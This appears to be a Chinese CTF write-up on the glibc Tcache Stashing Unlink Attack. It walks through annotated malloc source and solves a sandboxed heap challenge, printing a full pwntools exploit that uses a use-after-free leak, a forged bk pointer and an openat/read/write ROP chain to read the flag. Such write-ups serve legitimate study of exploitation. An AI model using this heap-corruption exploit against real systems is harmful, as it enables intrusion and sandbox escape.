前言:

在开始了解这个攻击手法的前提,需要先了解一个函数也就是calloc函数,众所周知,当libc版本大于等于2.27的时候会引入tcachebin,而Tcache Stashing Unlink Attack就是发生在2.27版本以上,那么这个和calloc有什么关系呢,周知所众,当tcahchebin里面有符合条件的空闲堆块的时候,malloc会优先去tcachebin里面拿堆块,然而calloc不是这样,它会越过tcachebin来拿取堆块,这个特殊的机制,还有接下来的一个忽略的检查导致Tcache Stashing Unlink Attack的发生

smallbin:

当tcachebin里面的chunk不满,而smallbin里面有两个及以上的堆块的时候,通过calloc申请chunk的时候会取smallbin里面的chunk,因为此时的tcachebin不满,那么剩下的smallbin会放入tachchebin中,而这其中只对放入tcachebin的第一个chunk做了检查,那么可以把第二个chunk的bk指针进行修改,那么到tcachebin之后最后的fake_chunk的fd既可以执行main_arena+96的位置,当然在一些情况下还可以直接进入tcachebin伪造chunk

具体的漏洞源码和解释引用一下zikh26师傅的博客关于tcache stashing unlink attack的学习总结 | ZIKH26's Blog

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx); if ((victim = last (bin)) != bin)
//victim就是要脱链的堆块,也就是small bin里的最后一个
//这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
//如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck;//将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
&& (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将tc_victim从small bin中脱链
bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

例题:

蜀道山smash

保护策略

ida逆向分析

这里是开启了沙箱,可以先看看规则

禁用了execv以及open,那么还可以使用openat来进行orw读取flag

有个堆菜单

有个选项5,是存在溢出的

但是因为这个位置一开始是0的导致读入字节为0

但是又发现add函数是使用的calloc,那么可以考虑使用Tcache Stashing Unlink Attack来将此处写入main_arena+96很大的一个地址

那么造成栈溢出,正常rop即可

free函数存在uaf漏洞,那么可以泄露libc和heap地址

这里使用的0x100的堆块,那么就要伪造堆块,修改第一个堆块的bk指针

这里伪造的堆块是紧邻着修改chunk的上一个chunk

接下来继续伪造堆块,size位和bk指针

继续使用calloc申请一个堆块,那么即可触发Tcache Stashing Unlink Attack

那么接下来就是正常的rop即可

EXP:

from gt import *
con("amd64") io = process("./sma")
# io = remote("gz.imxbt.cn",20818) def add(size):
io.sendlineafter("choice:","1")
io.sendlineafter("size:",str(size)) def free(index):
io.sendlineafter("choice:","2")
io.sendlineafter("Idx:",str(index)) def edit(index,msg):
io.sendlineafter("choice:","3")
io.sendlineafter("Idx:",str(index))
io.sendafter("Content:",msg) def show(index):
io.sendlineafter("choice:","4")
io.sendlineafter("Idx:",str(index)) def backdoor():
io.sendlineafter("choice:","5") for i in range(10):
add(0x280) add(0x80) #10 for i in range(5):
add(0xf0) for i in range(7):
free(i) for i in range(5):
free(11+i) free(7) #gdb.attach(io)
show(7)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0
suc("libc_base",libc_base) gdb.attach(io)
add(0x180) #11
add(0x3a0) #12
free(9)
add(0x180) #13
add(0x3a0) #14 io.recvuntil("Add Ptr: ")
heap_base = int(io.recv(10),16) -0x3260 -0x2d0 -0x230
suc("heap_base",heap_base)
fd = heap_base + 0x27f0
suc("fd",fd)
heap = heap_base+0x2b90
suc("heap",heap)
# gdb.attach(io)
edit(9,b'a'*0x180+p64(0)+p64(0x101)+p64(fd)+p64(heap_base+0x2b90))
edit(9,p64(0)+p64(0x101)+p64(0)+p64(0x00000000004040C0-0x10)+b'/flag\x00')
add(0xf0)
io.sendlineafter("choice:","5")
payload = b'b'*0x38
pop_rax = libc_base + 0x0000000000036174
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
syscall = libc_base + 0x00000000000630a9 flag_addr = heap+0x20 # gdb.attach(io)
payload += p64(pop_rax) + p64(257)
payload += p64(pop_rdi) + p64(0xffffff9c)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(syscall)
# read
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# write
payload += p64(pop_rax) + p64(1)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# gdb.attach(io) io.send(payload)
# add(0xe0)
# io.recvuntil("Add Ptr: ")
# heap_base = int(io.recv(10),16) -0x2eb0
# suc("heap_base",heap_base) # gdb.attach(io)
io.interactive()

总结

Tcache Stashing Unlink Attack在calloc申请堆块的情况下无疑是一种不错的选择,它继承了2.29之后unsortbin attack的特性,同时在一定情况下还可以任意地址申请,是一个不错的攻击方法,因为平常遇到的有点少,但是还是得了解一下攻击方法什么的。

常回家看看之Tcache Stashing Unlink Attack的更多相关文章

  1. Tcahce Stashing Unlink Attack

    今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...

  2. glibc2.29以上 IO_FILE 及 house of pig

    摆烂很长时间之后,终于下定决心来看点新的东西.正好 winmt 师傅前不久把他 pig 修好的附件发给我了,我就借此来学习一下新版本的 IO_FILE 及 house of pig. 新版本的 IO_ ...

  3. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  4. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  5. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  6. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  7. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  8. PHP filesystem attack vectors - Take Two

    http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/ Did you enjoyed our previous &q ...

  9. Linux/Unix System Level Attack、Privilege Escalation(undone)

    目录 . How To Start A System Level Attack . Remote Access Attack . Local Access Attack . After Get Roo ...

  10. PHP常见面试题汇总(二)

    PHP常见面试题汇总(二)   //第51题:统计一维数组中所有值出现的次数?返回一个数组,其元素的键名是原数组的值;键值是该值在原数组中出现的次数 $array=array(4,5,1,2,3,1, ...

随机推荐

  1. 嵌入式Linux ubi文件系统制作、分区设置、只读文件系统,uboot启动参数root

    当前平台, 基于君正的X10000平台的嵌入式Linux 系统 0  目的 我要设置根文件系统为可读写, 设置data分区上的文件系统为只读 1 设置各文件系统的读写属性 /bin/mount -o ...

  2. ModbusTCP通信协议分析

    前言 大家好!我是付工.前面给大家介绍了一系列关于RS485与Modbus的知识. 终于有人把RS485说清楚了 终于有人把Modbus说明白了 通透!终于把ModbusRTU弄明白了 今天跟大家聊聊 ...

  3. 深入理解Redis锁与Backoff重试机制在Go中的实现

    目录 Redis锁的深入实现 Backoff重试策略的深入探讨 结合Redis锁与Backoff策略的高级应用 具体实现 结论 在构建分布式系统时,确保数据的一致性和操作的原子性是至关重要的.Redi ...

  4. Linux 进程调度之schdule主调度器

    考虑到文章篇幅,在这里我只讨论普通进程,其调度算法采用的是CFS(完全公平)调度算法. 至于CFS调度算法的实现后面后专门写一篇文章,这里只要记住调度时选择一个优先级最高的任务执行 一.调度单位简介 ...

  5. 墨天轮国产数据库沙龙 | 张晓庆:GoldenDB分布式数据库的自动安装与备份恢复

    在共同推进国产化生态发展的进程下,墨天轮正式推出"墨天轮国产数据库沙龙"系列直播活动,将定期邀请各国产数据库产品专家.掌门人,共同探讨如何达成技术"自主可控"的 ...

  6. uniapp电子签名盖章实现详解

    项目开发中用到了电子签名.签好名的图片需要手动实现横竖屏旋转.并将绘制的签名图片放到pdf转换后的base64的图片上,可以手动拖动签名到合适的位置,最后合成签名和合同图片并导出.和以往一样,先发一下 ...

  7. 前端面试题axaios携带 cookies

    配置 axios.default.widthCredentials = true;

  8. p1ngp0ng

    p1ngp0ng 轻量级ICMP C2工具 依赖 Linux环境与GCC套件. 功能: p1ng: p1ng,实现C2服务器正向连接被控端.目前实现了对客户端的命令控制与文件上传下载.明文传输,未加密 ...

  9. 云原生周刊:CNCF 宣布 KubeEdge 毕业

    云原生周刊:CNCF 宣布 KubeEdge 毕业 开源项目推荐 Watchtower Watchtower 这个项目能够自动监测并更新正在运行的 Docker 容器.它会定期检查并拉取 Docker ...

  10. Chrome使用回退,出现表单提交失败,ERR_CACHE_MISS问题

    是什么.为什么.怎么办 "ERR_CACHE_MISS" 错误通常发生在你使用浏览器的"返回"按钮时.这种错误与浏览器处理缓存数据的方式有关,特别是在处理表单和 ...